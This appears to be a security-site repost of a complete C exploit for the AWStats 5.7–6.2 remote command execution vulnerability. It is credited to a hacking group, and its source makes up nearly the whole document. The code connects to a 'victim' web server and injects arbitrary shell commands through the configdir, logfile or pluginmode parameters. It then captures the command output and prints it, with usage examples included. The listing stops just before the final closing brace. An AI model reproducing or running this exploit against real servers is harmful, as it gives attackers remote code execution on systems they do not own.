Summary
Presented here is an exploit for the AWStats Remote Command Execution Vulnerability. The provided exploit code allows the user to exploit all 3 vulnerabilities methods (configdir, logfile, pluginmode).

Credit:
The information has been provided by Silentium.
The original article can be found at: http://www.autistici.org/anacron-group-italy/file/source/sileAWSxpl_v5.7-6.2.c

Details
/****************************************************
* *
* AWStats v5.7 - v6.2 *
* *
* sileAWSxpl *
* This exploit utilize three methods for exploiter *
* the vulnerability found on AWStats software. *
* an user can execute remote code on vulnerable *
* machine, with httpd privileges. *
* *
* References: www.securityfocus.org/bid/12543 *
* *
* coded by: Silentium of Anacron Group Italy *
* date: 24/02/2005 *
* e-mail: anacrongroupitaly[at]autistici[dot]org *
* my_home: www.autistici.org/anacron-group-italy *
* *
* this tool is developed under GPL license *
* no(c) .:. copyleft *
* *
****************************************************/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>

#define PORT 80 // port of the web server
#define CMDB 512 // buffer length for commands
#define BUFF 6000 // buffer length for output's commands
#define BANSTART "SILENTIUM"
#define BANSTOP "anacron_group_italy"

void info(void);
void sendxpl(FILE *out, char *argv[], int type);
void readout(int sock, char *argv[]);
void errgeth(void);
void errsock(void);
void errconn(void);
void errsplo(void);
void errbuff(void);

int main(int argc, char *argv[]){

FILE *out;
int sock, sockconn, type;
struct sockaddr_in addr;
struct hostent *hp;

if(argc != 5)
info();

type = atoi(argv[4]);

if(type < 0 || type > 3)
info();

if((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0)
errsock();

system("clear");
printf("[*] Creating socket [OK]\n");

if((hp = gethostbyname(argv[1])) == NULL)
errgeth();

printf("[*] Resolving victim host [OK]\n");

memset(&addr,0,sizeof(addr));
memcpy((char *)&addr.sin_addr,hp->h_addr,hp->h_length);
addr.sin_family = AF_INET;
addr.sin_port = htons(PORT);

sockconn = connect(sock, (struct sockaddr *)&addr, sizeof(addr));
if(sockconn < 0)
errconn();

printf("[*] Connecting at victim host [OK]\n",argv[1]);

out = fdopen(sock,"a");
setbuf(out,NULL);

sendxpl(out, argv, type);

printf("[*] Sending exploit [OK]\n");

readout(sock, argv);

shutdown(sock, 2);
close(sock);
fclose(out);

return(0);

}

void info(void){

system("clear");
printf("#########################################\n"
"# AWStats v5.7 - v6.2 #\n"
"# Remote Code Execution #\n"
"# exploit coded by Silentium #\n"
"# Anacron Group Italy #\n"
"# www.autistici.org/anacron-group-italy #\n"
"#########################################\n\n"
"[Usage]\n\n"
" sileAWSxpl <victim> <path_awstats> <cmd> <type>\n\n"
" [Type]\n"
" 1) ?configdir=|cmd|\n"
" 2) ?update=1&logfile=|cmd|\n"
" 3) ?pluginmode=:system(\"cmd\");\n\n"
"[example]\n\n"
" sileAWSxpl www.victim.com /cgi-bin/awstats.pl \"uname -a\" 3\n\n");
exit(1);

}

void sendxpl(FILE *out, char *argv[], int type){

char cmd[CMDB], cmd2[CMDB*3], cc;
char *hex = "0123456789abcdef";
int i, j = 0, size;

size = strlen(argv[3]);
strncpy(cmd,argv[3],size);
/*** Url Encoding Mode ON ***/

for(i = 0; i < size; i++){
cc = cmd[i];
if(cc >= 'a' && cc <= 'z'
|| cc >= 'A' && cc <= 'Z'
|| cc >= '0' && cc <= '9'
|| cc == '-' || cc == '_' || cc == '.')
cmd2[j++] = cc ;
else{
cmd2[j++] = '%';
cmd2[j++] = hex[cc >> 4];
cmd2[j++] = hex[cc & 0x0f];
}
}

cmd2[j] = '\0';

/*** Url Encoding Mode OFF ;P ***/

if(type==1)
fprintf(out,"GET %s?configdir=|echo;echo+%s;%s;echo+%s;echo| HTTP/1.0\n"
"Connection: Keep-Alive\n"
"Accept: text/html, image/jpeg, image/png, text/*, image/*,*/*\n"
"Accept-Encoding: x-gzip, x-deflate, gzip, deflate, identity\n"
"Accept-Charset: iso-8859-1, utf-8;q=0.5, *;q=0.5\n"
"Accept-Language: en\n"
"Host: %s\n\n",argv[2],BANSTART,cmd2,BANSTOP,argv[1]);
else if(type==2)
fprintf(out,"GET %s?update=1&logfile=|echo;echo+%s;%s;echo+%s;echo| HTTP/1.0\n"
"Connection: Keep-Alive\n"
"Accept: text/html, image/jpeg, image/png, text/*, image/*,*/*\n"
"Accept-Encoding: x-gzip, x-deflate, gzip, deflate, identity\n"
"Accept-Charset: iso-8859-1, utf-8;q=0.5, *;q=0.5\n"
"Accept-Language: en\n"
"Host: %s\n\n",argv[2],BANSTART,cmd2,BANSTOP,argv[1]);
else if(type==3)
fprintf(out,"GET %s?pluginmode=:system(\"echo+%s;%s;echo+%s\"); HTTP/1.0\n"
"Connection: Keep-Alive\n"
"Accept: text/html, image/jpeg, image/png, text/*, image/*,*/*\n"
"Accept-Encoding: x-gzip, x-deflate, gzip, deflate, identity\n"
"Accept-Charset: iso-8859-1, utf-8;q=0.5, *;q=0.5\n"
"Accept-Language: en\n"
"Host: %s\n\n",argv[2],BANSTART,cmd2,BANSTOP,argv[1]);

}

void readout(int sock, char *argv[]){

int i=0, flag;
char output[BUFF], tmp;
printf("[*] Output by %s:\n\n",argv[1]);

while(strstr(output,BANSTART) == NULL){
flag = read(sock,&tmp,1);
output[i++] = tmp;
if(i >= BUFF)
errbuff();
if(flag==0)
errsplo();
}
while(strstr(output,BANSTOP) == NULL){
read(sock,&tmp,1);
output[i++] = tmp;
putchar(tmp);
if(i >= BUFF)
errbuff();
}
printf("\n\n");

}

void errsock(void){

system("clear");
printf("[x] Creating socket [FAILED]\n\n");
exit(1);

}

void errgeth(void){

printf("[x] Resolving victim host [FAILED]\n\n");
exit(1);

}

void errconn(void){

printf("[x] Connecting at victim host [FAILED]\n\n");
exit(1);

}

void errsplo(void){

printf("[x] Exploiting victim host [FAILED]\n\n");
exit(1);

}

void errbuff(void){

printf("[x] Your buffer for output's command is FULL !!!\n\n");
exit(1);